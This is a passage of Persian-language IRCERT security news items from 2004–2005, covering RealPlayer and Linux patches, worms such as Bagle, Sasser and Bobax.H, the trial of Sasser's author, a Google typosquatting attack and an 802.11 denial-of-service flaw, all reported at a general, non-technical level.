باشگاه سورس کد به چگونگی به دست آوردن این کد اشاره ای نکرده است. سیسکو نیز صحت ادعای گروه را تکذیب یا تایید نرکده است.

نسخه 6.3.1 یک نسخه قدیمی این فایروال است که در ماه مارس سال 2003 ارائه شده است. سیسکو در جولای امسال نسخه 6.3.4 را ارائه کرده است.

این دومین بار در سال جاری است که باشگاه سورس کد نرم افزار یک شرکت را به صورت عمومی به فروش می گذارد. در ماه جولای امسال این باشگاه لیستی از فایلها را ارائه کرد که متعلق به سیستم تشخیص نفوذ شرکت Enterasys Networks و نرم افزار سرور و کلاینت Napster بود.

به نظر می رسد که این باشگاه قصد دارد برای مدتی به این کار ادامه دهد. آنها حتی برای خریداران خود تشویقهایی نیز در نظر گرفته اند.در خبرنامه باشگاه آمده است:“ افرادی که یک مجموعه کامل سورس کد را خریداری نمایند، یکی از اعضای خصوصی باشگاه خواهند شد و به سورسهایی دسترسی خواهند داشت که در اختیار عموم نیست.“

مشتریان می توانند با استفاده از ایمیل و رمزنگاری با گروه ارتباط برقرار کنند تا هویت خریدار و فروشنده محرمانه باقی بماند.


﻿ IRCERT - اخبار و هشدارها - RealPlayer پوشش حفره مهم

پوشش حفره مهم RealPlayer

21 آوریل 2005 - 1 اردیبهشت 1384

RealNetworks یک اصلاحیه امنیتی منتشر کرده است که حفره ای را که امکان اجرای کد هکرها روی سیستم کاربران را می دهد، می پوشاند.

این حفره که از طرف Secunia دارای درجه خطر highly critical شناخته شده است، اکثر نسخ اخیر نرم افزارهای RealPlayer تحت دو سیستم عامل ویندوز و مکینتاش را تحت تاثیر قرار می دهد. بعضی نسخ تحت لینوکس نیز در خطر قرار دارند البته آخرین نسخه این ضعف را ندارد. بنا به گفته RealNetworks این مشکل در بعضی نسخ RealOne Player نیز وجود دارد.

این شرکت در روز 19 آوریل اصلاحیه ای برای این حفره منتشر کرده است اما روی سایت خود اعلام کرده است که گزارشی مبنی بر آلوده شدن سیستمها از طریق این حفره دریافت نکرده است.

مشکلات سرریز بافر - که هکرها از آنها سوء استفاده می کنند و برنامه را با اطلاعات غیرمنتظره و نامطلوب بمباران می کنند و از نتایج به دست آمده برای اجرای کدهای خطرناک مورد نظر خود استفاده می کنند - به یکی از مشکلات معمول در بین نرم افزارهای مشهور تبدیل شده اند.


﻿ IRCERT - اخبار و هشدارها - RealPlayer رفع مشکلات امنیتی

رفع مشکلات امنیتی RealPlayer

23 ژوئن 2005 – 2 تیر 1384

شرکت RealNetworks اعلام کرد که وجود مشکلات متعدد امنیتی در نرم افزار چند رسانه ای مشهور این شرکت ، یعنی RealPlayer، می تواند کامپیوترها را در خطر حملات هکرها قرار دهد.

RealNetworks در یک راهنمایی امنیتی هشدار داد که چهار حفره امنیتی در RealPlayer کشف شده است که مهمترین آنها به یک هکر این امکان را می دهد که کنترل یک کامپیوتر را به دست بگیرد. به گفته این شرکت در حال حاضر اصلاحیه های لازم برای پوشش این حفره ها ارائه شده اند.

متخصصان امنیتی در تیم پاسخگویی مشکلات امنیتی فرانسه یا FrSIRT طی یک هشدار ، درجه خطر این مشکلات را critical‌ یا مهم و بحرانی اعلام کرده اند.

این مشکلات در نسخ جاری و بعضی نسخ قدیمی نرم افزار RealPlayer در سیستم های عامل ویندوز، لینوکس و Mac OS وجود دارد .

به گفته RealNetworks سه مشکل امنیتی با استفاده از یک فایل چند رسانه ای مخرب به کار گرفته می شوند. فایلهای مخرب با فرمتهای Real‌ و AVI به یک هکر اجازه می دهند تا سیستم کاربر را به دست بگیرد و فایلهای مخربی با فرمت MP3 می تواند امکان بازنویسی روی فایلهای هارد یا اجرای ActiveX را به هکر بدهد.

برای سوء استفاده از چهارمین حفره امنیتی، هکر باید یک سایت بسازد. البته انجام این حمله منوط به آن است که کاربر از نسخ پیشین IE‌ استفاده کند و کامپیوتر تنظیمات استاندارد را داشته باشد.

RealNetworks اصلاحیه ها را برای تمامی نسخ در راهنمایی امنیتی خود ارائه کرده و از کاربران خواسته است نسبت به نصب آنها سریعتر اقدام کنند.


﻿ IRCERT - اخبار و هشدارها - RealPlayerخطر برای کاربران

خطر برای کاربران RealPlayer

27 سپتامبر 2005 – 5 مهر 1384

متخصصان امنیتی هشدار دادند که وجود یک مشکل امنیتی در دو نرم افزار پرطرفدار RealPlayer و Helix Player باعث می شود که هکرها بتوانند حملاتی را از راه دور روی سیستم کاربران انجام دهند.

بنابر گزارش منتشر شده توسط تیم پاسخگویی وقایع امنیتی فرانسه ( FrSIRT )، این حفره در RealPlayer version 10.0.5.756 Gold و Helix Player 1.0.5.757 Gold که بر روی سیستم های عامل یونیکس و لینوکس اجرا شود، دیده شده است.

انتشار کد نفوذ از طریق این حفره بر روی اینترنت، باعث افزایش میزان خطر شده است.

مشکل محصولات RealNetworks زمانی بروز می کند که روی یک فایل مخرب با پسوند rt یا rp کلیک شود و برنامه Real اجرا شود. هکرها از این مشکل استفاده می کنند و کنترل کامپیوتر کاربر را از راه دور به دست می گیرند.

شرکت امنیتی Secunia درجه اهمیت این حفره را بسیار مهم یا highly critical اعلام کرده است. RealNetworks از وجود این حفره مطلع شده و در حال کار بر روی آن است. محققانی که این حفره را یافته اند یک راهنمایی امنیتی برای آن ارائه کرده اند. توصیه می شود تا پیش از ارائه یک اصلاحیه توسط RealNetworks، از نمایش فایلهای چندرسانه ای غیرمطمئن پرهیز کنید.


﻿ IRCERT - انتشار اصلاحیه های لینوكس - اخبارها و هشدارها

انتشار اصلاحیه های لینوكس

13 ژانویه 2005 - 24 دی 1383

دیروز Red Hat ، Novell و Mandrakesoft اصلاحیه هایی رابرای حفره های مختلف موجود در این سیستم عامل عرضه كردند. این حفره ها امكان طیف وسیعی از حملات را از DoS تا سرریز بافر فراهم می آورند.

Secunia به پنج اصلاحیه منتشر شده درجه highly critical داده است. Red Hat سه اصلاحیه، SuSE كه متعلق به Novell است یك اصلاحیه و Mandrakesoft نیز یك اصلاحیه را ارائه كرده است.

SuSE با ارائه این اصلاحیه ها سعی كرده است حفره هایی را كه بیشتر محصولات مبتنی بر SuSE را تحت تاثیر قرار می دهد، بپوشاند. یكی از این مشكلات امنیتی امكان انجام حمله DoS‌داخلی را با استفاده از یك مستند Acrobat می دهد.

حفره دیگر امنیتی در بخشی از سیستم عامل لینوكس وجود دارد كه برای مسیریابی ترافیك شبكه مورد استفاده قرار می گیرد. این حفره می تواند به یك هكر اجازه دهد تا با افزودن اطلاعات نادرست به جریان داده netfilter، یك حمله DoS داخلی و محلی را اجرا كند.

RedHat نیز مجموعه ای از اصلاحیه ها را برای رده های desktop ، enterprise و advanced-workstation منتشر كرده است.

یك بسته به روز رسانی libtiff نیز منتشر شده كه حفره های مختلف از جمله سرریز عدد صحیح را می پوشاند. این حفره ها به یك هكر اجازه می دهد تا با فریب یك كاربر برای دیدن یك فایل تصویری با قالب TIFF ، امكان نفوذ به كامپیوتر را فراهم آورد.

RedHat همچنین اصلاحیه هایی برای بسته های Xpdf عرضه كرده است كه حفره مربوط به سرریز بافر را می پوشاند. Xpdf برنامه ای است كه برای خواندن مستندات PDF به كار می رود و بسیاری از برنامه های لینوكس برای پردازش فایلهای PDF از آن استفاده می كنند. این حفره می تواند به یك هكر امكان دهد فایلی با قالب PDF ایجاد كند كه Xpdf‌را از كار می اندازد و ضمنا كد دلخواهی را اجرا می كند.

همچنین RedHat اصلاحیه های متعددی را برای كتابخانه Xpm خود ارائه كرده است. قالب XPixMap ) XPM ) كمك می كند تا بتوان تصاویر رنگی را در قالب قابل حملی ذخیره كرد.

چندین خطای سرریز stack و یك خطای سرریز عدد صحیح نیز در كتابخانه libXpm پیدا شده بود. این كتابخانه برای بازكردن تصاویر XPM‌به كار می رود.

Mandrakesoft نیز اصلاحیه ای را برای Imlib ارائه كرده است. Imlib توسط نسخ قدیمی GNOME‌ برای پردازش گرافیك به كار گرفته می شود.


﻿ IRCERT - دوباره می آید - اخبارها و هشدارها Bagle

Bagle دوباره می آید

6 جولای 2004 – 16 تیر 1383

نویسنده کرم اینترنتی Bagle شروع به توزیع سورس کد این کرم و دو نسخه جدید از آن کرده است که می تواند باعث بروز یک تابستان وحشتناک دیگر برای کاربران ویندوز شود.

این کرم اولین بار در ماه ژانویه و در قالب یک فایل الحاقی به ایمیل خود را نشان داد. طی ماههای بعد بیش از 25 نسخه مختلف از این کرم وارد شبکه ها شده است.

کامپیوترهای آلوده یک اسب تروا را دریافت می کنند و با این کار به ارتش کامپیوترهای تحت کنترل نویسنده کرم ملحق می شوند. نویسنده کرم می تواند از این مجموعه کامپیوتر برای توزیع اسپم و یا انجام حملات DoS استفاده کند.

در روز چهارم جولای دو نسخه جدید از این کرم همراه با سورس کدی که به نظر سورس اصلی و واقعی ویروس است روی شبکه دیده شده است.

میکو هایپونن – مدیر تحقیقات ضدویروس شرکت F-Secure – می گوید که او باور دارد که این کد واقعی است. وی اضافه می کند که کد به زبان اسمبلی نوشته شده که نشان از آن دارد که نویسنده ویروس یک برنامه نویس جدی است . وی می گوید:“ بیشتر کرنهای اینترنتی به زبان C نوشته می شوند یا بخشی به زبان C و بخشی به زبان اسمبلی نوشته می شوند. در حال حاضر تعداد افرادی که به این شکل به اسمبلی تسلط داشته باشند زیاد نیستند ، لذا یک برنامه نویس خوب نویسنده این ویروس است.“

وی همچنین اشاره می کند که با وجود سخت بودن اسمبلی ، افراد خبره می توانند براحتی کد ارائه شده را تغییر دهند و نسخ جدیدی از این ویروس را وارد شبکه کنند لذا مدیران شبکه ها تابستان شلوغی را در پیش خواهند داشت. هایپونن می گوید :“ چیزهایی مانند پورت مورد استفاده Back door یا نوع ایمیلهای ارسالی براحتی قابل تغییر هستند. من مطمئن هستم که مانند ماه فوریه و مارس، ما مجددا هجومی از انواع نسخ این کرم را شاهد خواهیم بود.“

کارشناسان معتقدند گرچه کد منشر شده خطرناک است اما می تواند سرنخهایی از نویسنده کرم را در اختیار مامورین قانون قرار دهد. ظاهرا نویسنده comment هایی را درون کد قرار داده است تا سایرین از شکل کار بخش های مختلف ویروس سر در بیاورند و همین کار می تواند لیست مظنونین را محدودتر کند. در واقع اگر شما یک تعریف از یک برنامه را به 10 برنامه نویس بدهید ، 10 برنامه مختلف را دریافت خواهید کرد. البته شباهتهایی وجود دارد اما شیوه کدنویسی ، ‌اسامی متغیرها و comment های نوشته شده متفاوت خواهد بود. به عبارت دیگر هر برنامه اثر انگشت نویسنده خود را در خود دارد.

البته تئوری دیگری نیز وجود دارد. هایپونن معتقد است نویسنده ویروس کد را منشر کرده تا درصورت دستگیر شدن وی تنها فردی نباشد که کد را در کامپیوتر خود دارد. وی می گوید :“ تا پیش از انتشار ، مهمترین مدرک جرم ، وجود سورس کد اصلی روی کامپیوتر نویسنده بود ، اما حالا این مدرک از بین رفته است.“


﻿ IRCERT - متخصصان امنیت : مراقب سایتهای آلوده باشید - اخبارها و هشدارها

متخصصان امنیت : مراقب سایتهای آلوده باشید

25 ژوئن 2004 – 5 تیر 1383

متخصصین امنیت دیروز هشدار دادند که مشکلات امنیتی موجود در وب سرورها باعث شده است که صفحات خانگی ( home pages ) به نقاط نفوذ و آلوده سازی دیجیتالی مبدل شده اند.

این محققان براین باورند که مجرمان اینترنتی به وب سرورها نفوذ می کنند و به صورت مخفیانه کدی را وارد آنها می کنند که از دو حفره امنیتی IE که هنوز توسط مایکروسافت پوشانده نشده اند ، استفاده می کند. این حفره ها به وب سرور اجازه می دهد تا برنامه ای را نصب کند که کنترل کامپیوتر کاربر را بدست می گیرد. مایکروسافت توصیه کرده است که کاربران درجه امنیت مرورگر خود را به بالاترین میزان افزایش دهند تا بتوانند در برابر حمله بعضی از این سایتها مقاومت کنند.

میزان گستردگی این حملات هنوز مشخص نشده است اما موارد بسیاری مشهده شده است که کامپیوتر کاربری با مراجعه به یک سایت آلوده شده است. آلفرد هوگر – مدیر ارشد مهندسی امنیتی Symantec – می گوید :“ این مشکل هنوز اپیدمی نشده است ، اما موارد زیادی دیده شده اند. در واقع اگر از ما بپرسید که آیا این مشکل جدی است ،پاسخ می دهیم بله. این مشکل قابل توجه است.“

البته روش به کار گرفته شده جدید نیست. اوایل ماه جاری یک محقق امنیتی متوجه شد که یک برنامه تبلیغاتی با نام adware از طریق همان دو حفره IE خود را روی کامپیوتر قربانی نصب می کند. در اواخر ماه آوریل نیز یکی از مشتریان Symantec با این شرکت تماس گرفت که یکی از کارمندانش قصد داشته تا با IE یک سایت آلوده را ببیند و لذا سیستم وی آلوده شده است.

اما این بار خطر حفره های مذکور همه کاربران IE را تهدید می کند چون مایکروسافت هنوز اصلاحیه ای برای آنها ارائه نکرده است. ضمنا این بار تنها سایتهای شرکتهای کوچک آلوده نشده اند بلکه سایتهای شرکتهای بزرگ و حتی بانکها و موسسات تجاری نیز آلوده شده اند. ضمنا کد مورد نظر نیز از سوی اکثر ضدویروسها قابل شناسایی نیست.

محققان بر این باورند که هکرها به سرورهای بدون امنیت کافی حمله می کنند و یا از یک حفره امنیتی ناشناخته در IIS‌ استفاده می کنند و با کمک آن به سرور نفوذ می کنند تا کد مورد نظر را در آنجا قرار دهند. هنگامی که یک کاربر سایت را می بیند ، کد مزبور وی را به سایتی دیگر و معمولا روی سروری در روسیه هدایت می کند. آن سرور از دو حفره گفته شده استفاده می کند و یک اسب تروا با امکان دسترسی از راه دور ( RAT ) را روی کامپیوتر قربانی نصب و اجرا می کند. این نرم افزار تمامی کلیدهای فشرده شده توسط کاربر را ثبت می کند و یک در پشتی در امنیت سیستم باز می کند تا به هکر اجازه دسترسی به کامپیوتر را بدهد.

کارشناسان می گویند که کاربران برای پایین آمدن میزان خطر می توانند از مرورگرهای دیگری مانند Opera و Mozilla استفاده کنند.


﻿ IRCERT - کاربران در دام تصاویر مرگ صدام - اخبارها و هشدارها

کاربران در دام تصاویر مرگ صدام

3 فوریه 2005 - 15 بهمن 1383

Sophos امروز هشدار داد که تصاویر صدام حسین مرده ، طعمه جدیدی است که یک کرم اینترنتی برای فریب کاربران استفاده کرده است.

کرم Bobax.H مدعی است تصاویری را همراه دارد که نشان می دهد رئیس جمهور سابق را در حال فرار از زندان کشته اند.

گراهام کلولی - مشاور ارشد Sophos - در این باره می گوید:“ این یک کرم جدید است که کامپیوترهای آلوده شده را به کارخانه های اسپم مبدل می کند. هنوز این کرم فراگیر نشده است اما در حال گسترش است.“

این کرم از طریق ایمیل منتشر می شود و از حفره Microsoft LSASS استفاده می کند، همان حفره ای که در بار دوم توسط ساسر مورد استفاده قرار گرفته بود. این حفره 10 ماه پیش کشف شده بود و اصلاحیه آن در دسترس است.

Sophos در راهنمایی امنیتی خود اشاره کرده است که Bobax.H زمانی فعال می شود که کاربران قایل الحاقی یک ایمیل آلوده را باز می کنند. سپس خود را به سایر نشانی های ایمیل و کامپیوترهای قابل نفوذ ارسال می کند.Bobax.H همچنین سعی می کند که ضدویروس ها و نرم افزارهای امنیتی را غیرفعال کند و یک ماژول انتقال ایمیل را روی سیستم قربانی نصب می کند تا آن را به یک کارخانه اسپم مبدل کند.

قایلهای الحاقی همراه ایمیل Bobax.H نامهای گوناگونی دارند و محتوای ایمیلهای نیز متقاوت است. برای مثال در بدنه ایمیل چنین محتوایی یافت می شود:

"Saddam Hussein - Attempted Escape, Shot dead. Attached some pics that i found"

کلولی توصیه کرده است که کاربران برای دریافت اخبار و عکسها از ایمیل استافده نکنند و به جای آن به سایتهای خبری سر بزنند تا درصورت حمله چنین کرمهایی فریب نخورند.


﻿ IRCERT - حبس تعلیقی برای نویسنده ساسر - اخبارها و هشدارها

حبس تعلیقی برای نویسنده ساسر

8 جولای 2005 – 17 تیر 1384

امروز یک قاضی آلمانی یک حکم تعلیقی برای مدت یک سال و نه ماه را برای جوانی که معترف است کرم کامپیوتری ساسر را سال گذشته ایجاد کرده است،‌صادر کرد.

علاوه بر آن سون جاشان 19 ساله موظف است طی دوره آزادی به قید التزام، 30 ساعت خدمات عمومی و اجتماعی انجام دهد. این دوره 3 سال است و جاشان موظف است خدمات خود را در یک بیمارستان یا خانه سالمندان انجام دهد.

جاشان طی دادگاه خود به خرابکاری کامپیوتری و دستکاری اطلاعات اعتراف کرد. این دادگاه در روز سه شنبه آغاز و امروز، یعنی جمعه،‌ پایان یافت. از آنجایی که در زمان ارتکاب جرم کمتر از 18 سال داشته، لذا دادگاه وی غیرعلنی بود.

کرم ساسر و شش نسخه شناخته شده آن از ماه مه سال گذشته شروع به انتشار کردند و حدود یک میلیون کامپیوتر دارای سیستم عامل ویندوز را آلوده کردند. ساسر از یک حفره در ویندوزهای 2000 و XP سوء استفاده می کرد و باعث می شد که کامپیوترها از کار بیافتند و بازآغازی کنند.

از مهمترین قربانیان این ویروس می توان به گارد ساحلی بریتانیا، کمیسیون اروپا و بانک Westpac استرالیا اشاره کرد.

دادستان درخواست دو سال حبس تعلیقی و 200 ساعت خدمات عمومی و اجتماعی طی دوره 3 ساله آزادی به قید التزام را از دادگاه کرده بود. وکیل جاشان سعی داشت تا مدت دو سال حبس تعلیقی را به یکسال کاهش دهد.

دادگاه معتقد است که جاشان با دقت انتشار ساسر را برنامه ریزی کرده است تا میزان خسارت را به بالاترین مقدار ممکن برساند اما وی این کار را با قصد و منظور مالی انجام نداده است.

جاشان ماه مه سال گذشته دستگیر شد. دستگیری وی در نتیجه جایزه 250 هزار دلاری مایکروسافت برای ارائه کننده اطلاعاتی درباره نویسنده ساسر بود. به گفته مایکروسافت این جایزه بین دو نفر که اطلاعات مفیدی درباره جاشان داده بودند تقسیم خواهد شد. مایکروسافت هویت این دو نفر را فاش نکرده است.

مایکروسافت سه جایزه 250 هزار دلاری دیگر نیز دارد که به افرادی اعطا خواهد کرد که به دستگیری نویسندگان ویروسهای MyDoom.B، Sobig و Blaster کمک کنند.


﻿ IRCERT - را برای مادرم منتشر کردم!- اخبارها و هشدارها Sasser

Sasser را برای مادرم منتشر کردم!

10 مه – 21 اردیبهشت

تا به حال برای مادرتان ویروس نوشته اید؟ ظاهرا سون جاشان، نویسنده 18 ساله آلمانی ویروس Sasser ، این کار را کرده است و سعی داشته تا از این طریق به مادرش که شرکتی در زمینه نگهداری از کامپیوترها با نام PC Help دارد، کمک کند و کار او را رونق ببخشد!

سون که به تازگی از هنرستان فارغ التصیل شده است، جمعه گذشته به اتهام نوشتن و انتشار Sasser دستگیر شد و به این کار اعتراف کرد. البته وی چند ساعت بعد و بدون گذاشتن وثیقه آزاد شد چون مسئولین فکر می کنند که او فرار نمی کند. دلتو دایبالا، سخنگوی دفتر پیگرد در شهر وردن آلمان، گفته است که ممکن است انگیزه این کار سون، رونق بخشیدن به کار مادرش باشد. وی که با روزنامه اشپیگل درباره انگیزه سون سخن می گفت، این انگیزه را دلیلی مناسب برای انتشار ویروس دانست. شرکتی که مادر سون و ناپدری وی اداره آن را بدست دارند، در زمینه نگهداری از کامپیوترها و رفع اشکالات آنها فعالیت دارد.

دایبالا اشاره کرده است که احتمالا سون در ماه ژوئن باید در دادگاه محاکمه شود . محاکمه ای که می تواند به حبس 5 ساله وی بیانجامد. البته گفته می شود از آنجا که سون در اواخر آوریل 18 ساله شده و در هنگام انجام این جرم 17 سال داشته ، ممکن است در مجازات وی تخفیف داده شود. همچنین ممکن است وی با شکایت شرکتهایی که از این کرم اینترنتی خسارت دیده اند مواجه شود.

بنا به گزارشهای رسیده سون پسری خجالتی و منزوی بوده است که در بین همکلاسیها و همسایه ها به او بی توجهی می شده است. تابحال وی و یا مادرش صحبتی با رسانه های آلمان نداشته اند و منشی تلفنی پاسخگوی تلفن PC Help است. اما پدر و نامادری وی در گفتگویی با شبکه RTL اعلام کرده اند که سون قصد خرابکاری نداشته و بر روی ضدویروسها کار می کرده است. آنها اشاره کرده اند که 4 ماه پیش وی به آنها گفته است که ویروسی را نوشته و در حال کار بر روی ضدویروس آن است. بنا به گفته پدرش، وی به آنها اطمینان داده است که قصد هیچ گونه اعمال خرابکارانه را ندارد.

نکته جالب آنکه دای ولت، یکی از روزنامه های مشهور آلمان، اشاره کرده است که با وجود خسارات وارده به میلیون ها کامپیوتر، آلمانی بودن نویسنده Sasser، یک حس غرور ملی در آلمان به وجود آورده است.

گفته می شود که احتمالا وین ویسنده هر 28 نسخه ویروس Netsky نیز هست.


﻿ IRCERT - اخبار و هشدارها- Sasser کرم

کرم Sasser منتشر شد

1 مه – 12 اردیبهشت

یک کرم اینترنتی با نام Sasser از جمعه شب شروع به فعالیت کرده است و از حفره موجود در ویندوز برای گسترش خود استفاده کرده است. این کرم تابحال بسیار کندتر از MSBlast و Code Red عمل کرده است اما بتدریج سرعت می گیرد.

شرکت Symantec در ابتدا میزان خطر این کرم را 2 از 5 اعلام کرد. ( 5 بالاترین میزان خطر را برای یک ویروس نشان می دهد.) سایر شرکتهای ضدویروس مانند Network Associates نیز میزان خطر آن را متسط اعلام کرده اند. هنوز آمار دقیقی از میزان گسترش این کرم اینترنتی بدست نیامده است اما یکی از مدیران تیم پاسخگویی امنیتی Network Associates از گزارشهای متعدد از شرکتهای مختلف درباره آلودگی به این کرم خبر داده است.

البته تولد این کرم اینترنتی قبلا پیش بینی شده بود و لذا متخصصان امنیت را متعجب نکرد. این کرم بدون دخالت کاربر از کامپیوتر آلوده به کامپیوترهای دیگر گسترش می یابد. این کرم بدنبال سیستم های قابل نفوذ می گردد, سپس یک ارتباط راه دور با آنها برقرار می کند . با یافتن یک قربانی جدید, یک سرور FTP بر روی آن نصب می کند و خود را به میزبان جدید منتقل می کند. کرم ارتباط اولیه را روی پورت 9996 برقرار می کند. پس از آلوده شدن یک کامپیوتر , سرور FTP روی پورت 5554 فایلهای مورد نظر را دریافت می کند. این کرم از چند پردازه برای اسکن کردن آدرسهای مختلف اینترنتی استفاده می کند. این اسکن کردن روی پورت 445 منجر به یافتن کامپیوتر دارای حفره در بخش LSASS ویندوز می شود. مایکروسافت معتقد است که این کرم از طریق پورت 139 خود را منتشر می کند. به هرحال هر دو کانال داده توسط پروتکل اشتراک فایل ویندوز به کار گرفته می شوند و در بسیاری از موارد توسط ISP ها بسته شده اند.

بنابر آنالیزهای انجام شده توسط مایکروسافت, این کرم باعث از کار افتادن LSASS می شود. پس از آن سیستم های آلوده با شمارش معکوس ظرف 60 ثانیه بازآغازی می شوند. مایکروسافت روش پاک کردن دستی این کرم را نیز آموزش داده است.


﻿ IRCERT - توطئه ای برعلیه کاربران گوگل - اخبارها و هشدارها

توطئه ای برعلیه کاربران گوگل

27 آوریل 2005 - 7 اردیبهشت 1384

متخصصان امنیتی حمله ای را کشف کرده اند که کاربران سایت گوگل را هدف قرار داده است. در این حمله کاربرانی که نشانی اینترنتی این موتور جستجو را به اشتباه تایپ کرده باشند، دچار دردسر شده و تعدادی برنامه خطرناک روی کامپیوتر آنها قرار می گیرد.

به گفته شرکت فنلاندی F-Secure، اگر کاربران به اشتباه به جای www.google.com ، www.googkle.com تایپ کنند، با انواع مختلفی از اسب های تروا، نرم افزارهای جاسوسی و ابزارهای در پشتی ( Backdoor ) بمباران می شوند. از آنجایی که حرف k روی صفحه کلید در کنار حرف l قرار گرفته است، بسیاری از کاربرانی که به سرعت و عجله می خواهند به سراغ این سایت بروند، ممکن است دچار این اشتباه شوند.

گوگل اعلام کرده است که در حال حاضر نظری در این باره ندارد.

در گذشته گوگل فعالیتهایی را برای رفع چنین مشکلاتی انجام داده بود. برای مثال اگر کسی به جای 2 حرف o، سه حرف o در نشانی سایت این موتور جستجو تایپ کند، ‌بازهم به همین سایت هدایت می شود.

F-Secure طی یک راهنمایی امنیتی به کاربران توصیه کرده است که به هیچ وجه به سایت www.googkle.com نروند. کاربرانی که به این سایت وارد می شوند، دو pop-up را مشاهده خواهند کرد که به دو سایت نصب کننده اسب تروا لینک دارند. یکی از برنامه ها یک اسب تروای هویت رباست که سعی می کند اطلاعات بانکی قربانی را به دست آورد و دیگری هشدارهای ضدویروس تقلبی را روی سیستم قرار می دهد و سعی می کند کاربران را به سایتهای آلوده دیگری هدایت کند.


﻿ IRCERT - امنیت در المپیک آتن - اخبارها و هشدارها

امنیت در المپیک آتن

13 آگوست 2004 – 23 مرداد 1383

از قرن نهم پیش از میلاد مسیح ، کشورهای شرکت کننده در بازیهای المپیک توافق کردند تا خصومتها و دشمنی ها را در طول مدت برگزاری المپیک متوقف کنند. این معاهده به یونانی ekecheiria نامیده می شود که به معنای دست نگهداشتن است.

اما سه هزار سال پس از برگزاری اولین مسابقات ،‌ یونان چند صد میلیون دلار را برای فناوری های امنیتی به عنوان بخشی از برنامه 1.5 میلیارد دلاریش برای تامین امنیت ورزشکاران ، تماشاگران و غیره اختصاص داده است.

هنگامی که بازیهای المپیک 2004 در روز جمعه افتتاح شود ، حدود 70 هزار مامور امنیتی با کمک فناوری های جدید مشغول مراقبت خواهند شد.

بیش از 1100 تیرک 20 فوتی که روی آنها دوربینهای ویدئویی‌،‌ بلندگوها و میکروفنها نصب شده اند ، شبکه مراقبتی گسترده ای را به وجود می آورد که می تواند به سرعت مزاحمتها را شناسایی کند. ورزشکاران و مربیان با استفاده ازاسکنرهای بارکد و کارتهای شناسایی اجازه می یابند تا وارد دهکده المپیک شوند. سیستم امتیازدهی این مسابقات و سیستم اطلاعات آن نیز روی شبکه گسترده ای که به اینترنت و سایر شبکه ها متصل نیست قرار داده شده است. یک بالون کوچک با سنسورهای قوی بر روی مجموعه حرکت می کند تا بتوان از آن منظر نیز کار را زیر نظر داشت.

هیچ یک از فناوری های به کار گرفته شده امنیتی جدید نیستند . دیوید تابز – مدیر پروژه زیرساخت امنیتی المپیک – با اشاره به این نکته می گوید:“ این سومین المپیکی است که من در آن حضور دارم. المپیک محل آزمایش فناوری های جدید نیست. چون نباید ریسک را بالا برد.“ برای مثال استفاده اثر انگشت ،‌ اسکنر عنبیه و یا سایر مشخصات زیستی برای شناسایی فرد هنوز جنبه کاملا عملیاتی نیافته اند. گرچه در المپیک 1996 آتلانتا تست شدند اما هنوز هم کارتهای شناسایی با فناوری قدیمی بارکد مورد استفاده قرار می گیرد.

بنا بر برآوردهای انجام شده مجموعا 1.5 میلیارد دلار برای مخارج امنیتی اختصاص خواهد یافت که 5 برابر هزینه های امنیتی در المپیک 2000 در شهر سیدنی است.


﻿ IRCERT - انتقاد به استخدام نویسنده ساسر - اخبارها و هشدارها

انتقاد به استخدام نویسنده ساسر

24 سپتامبر 2004 - 3 مهر 1383

اوایل این ماه شرکت آلمانی SecurePoint Technologies سون جاشان ، نویسنده 18 ساله ویروس ساسر را به عنوان یک برنامه نویس تمام وقت به استخدام خود در آورد، اما این کار باعث انتقادهای جدی شرکتهای امنیتی و تولیدکننده ضدویروس شد. به گفته آنها این کار یک نمونه از جایزه دادن به مجرمان است.

اما لوتز هاوسمن - مدیر فنی SecurePoint - گفته است که وی معتقد است سون از کار خود پشیمان است و لذا ترجیح می دهد وی را برای افراد خوب و اهداف درست به کار بگیرد.وی می گوید:“ او فقط یک بچه است که بدون فکر دست به این کار زده است لذا دادن کار به او درست است. وی هرگز دوباره دست به چنین کارهایی نخواهد زد.“

هاوسمن معتقد است که آموزش سون در این شرکت به وی کمک خواهد کرد تا تغییر کند و به سمت دنیای جرایم نرود. وی می گوید:“ سون این شغل را گرفته است چون از سایرین بهتر بوده است. او یک نوجوان معمولی است که پس از گذراندن دوره مجازات خود می خواهد یک زندگی معمولی داشته باشد.؛

اما سایر کارشناسان امنیتی معتقدند این کار بنایی نادرست را برجا می نهد و باعث بروز مشکلاتی در آینده خواهد شد.

جاشان در حال حاضر منتظر است تا دادگاه وی در آلمان تشکیل شود. وی ممکن است به 5 سال زندان محکوم شود. شرکتهای امنیتی تخمین زده اند که وی در مورد 70% از آلودگی های ویروسی نیمه اول امسال مقصر است و باعث چندین میلیون دلار خسارت شده است.


﻿ IRCERT - یک حفره امنیتی در پروتکل بی سیم - اخبارها و هشدارها

یک حفره امنیتی در پروتکل بی سیم

13 مه – 24 اردیبهشت

گروه امداد امنیت کامپیوتری استرالیا ( AusCERT) دیروز یک راهنمایی امنیتی را منتشر کرده و طی آن به شرکتها هشدار داده است که شبکه بی سیم آنها می تواند توسط یک هکر با استفاده از یک handheld با اختلال روبرو شود.

حفره امنیتی موجود در استاندارد بین المللی 802.11 ،‌ مشهورترین پروتکل شبکه های بی سیم ، به یک دستگاه اجازه می دهد تا با ارسال یک سیگنال با توان پایین ، از ارتباط ‌سایر وسایل جلوگیری کند. بنابر راهنمایی ارائه شده ، حملات قبلی به 802.11 نیاز به سخت افزار خاص داشت و مبتنی بر اشعه های با توان بالا بود ، ‌اما این حفره امکان حمله به شبکه های بی سیم را به هکرهای نیمه ماهر نیز می دهد. این حفره پردازه CCA (clear channel assessment) را تحت تاثیر قرار می دهد. این پردازه سعی دارد تا احتمال فعالیت دو دستگاه با یک فرکانس را به حداقل برساند. با انجام این حمله تمامی دستگاهها ارسال را متوقف می کنند تا حمله پایان یابد.

این حمله در گروه حملات DoS قرار می گیرد و چندان جدی نیست. تمامی دستگاههایی که از 802.11،‌ 802.11b و 802.116 کم سرعت استفاده می کنند در معرض این حمله هستند. اما تجهیزات دارای 802.11a و 802.11g پرسرعت مشکلی ندارند.


﻿ IRCERT - هم حفره امنیتی دارد - اخبارها و هشدارها Mozilla

Mozilla هم حفره امنیتی دارد

8 جولای 2004 – 18 تیر 1383

تولیدکنندگان مرورگر Mozilla اعلام کرده اند که به علت وجود یک مشکل امنیتی در آخرین نسخه این نرم افزار ، هکرها می توانند برنامه های موجود در سیستم عامل ویندوز XP‌ را اجرا کنند.

این مشکل که به نام shell معروف است روز گذشته روی یک mailing list امنیتی منتشر شد و لینکی نیز برای رفع این مشکل ارائه گردید. نسخه های به روز شده برنامه های تحت تاثیر یعنی مرورگرهای Mozilla ، Firefox و Thunderbird منتشر شده اند.

